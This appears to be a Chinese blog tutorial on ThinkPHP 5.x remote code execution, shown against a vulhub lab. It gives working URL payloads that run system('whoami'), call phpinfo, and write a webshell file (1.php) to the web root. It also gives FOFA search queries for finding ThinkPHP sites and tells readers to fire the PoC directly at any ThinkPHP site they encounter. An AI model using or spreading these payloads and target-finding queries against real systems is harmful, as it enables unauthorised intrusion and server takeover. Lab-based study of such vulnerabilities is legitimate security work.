当前位置: 首页 > article >正文

常见框架漏洞(一)----Thinkphp(TP)

Thinkphp框架介绍:

ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的,是⼀个快速、兼容⽽

且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为

ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴 了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和 TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀

持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是⼀款跨平台,跨版本以及简单易⽤的PHP框架。 TP(2-6) (5-⽬前使⽤率较⾼的)

重点:Thinkphp5x远程命令执⾏及getshell

            thinkphp5最出名的就是rce

1. 环境搭建

云服务器:1.15.228.27:8080

靶场:cd  vulhub-master/thinkphp/5-rce

docker-compose up -d #启动环境

docker ps ,查看当前开启的容器信息  发现是端口是8080

2.访问靶场

http://1.15.228.27:8080

3. 漏洞利用

漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通

过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题。

4.远程命令执⾏1

POC(漏洞测试):在URL上输入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.远程代码执⾏2

POC:

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

 6. getshell

POC: 根⽬录⽣成1.php ⽂件,输出phpinfo

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

访问 写入的1.php :
http://1.15.228.27:8080/1.php

Thinkphp被曝很多漏洞,截⾄⽬前位置3x -- 6x的各个版本都被爆有⼤量漏洞,遇到TP的

站,直接打poc就可以了;

更多利⽤⽅式可以参考:

https://www.hacking8.com/bug-web/

https://github.com/Mochazz/ThinkPHP-Vuln

拓展:FOFA搜索语法:

body="V5.0.7" && title="System error"
body="ThinkPHP V5"
icon_hash="1165838194"

Thinkphp框架,笑脸将是判断某个网站的架构为Thinkphp。

望诸君有所收获,共勉。

下一篇,接着讲其他框架。

                                                                                        ---------------------------2025/3/25 0:28


http://www.kler.cn/a/612263.html

相关文章:

  • 音视频 二 看书的笔记 MediaPlayer
  • 阿里Qwen2.5-Omni:全能型多模态模型登场,视频实时互动碾压Gemini
  • Rust从入门到精通之精通篇:23.高级并发模式
  • FPGA中串行执行方式之使用时钟分频或延迟的方式
  • 光流 | 基于KLT算法的人脸检测与跟踪原理及公式,算法改进,matlab代码
  • Git入门——常用指令汇总
  • STM32 ADC 温度采集 可穿戴体温测量仪LMT70
  • Qt弹出新窗口并关闭(两个按钮)
  • 资本运营:基于Python实现的资本运作模拟
  • Java中用Stream流取出分组后每组最大值对象的ID
  • AI编辑器-Trae 玩转AI 编程
  • 在rockylinux9.4安装mongodb报错:缺少:libcrypto.so.10文件库
  • 【docker】Dockerfile中ENTRYPOINT和CMD区别理解
  • 如何使用DeepSeek编写测试用例?
  • 2025年前端八股文整理持续更新中(css+js+vue)
  • 23种设计模式-创建型模式-建造者
  • Linux 指令篇:tar 命令详解与实战
  • ADB->查看具体应用包名、安装路径、所有应用包名输出到文件
  • 蓝桥杯--bfs专题第二个题目(leetcode103二叉树)
  • [操作系统] 进程间通信:命名管道原理与操作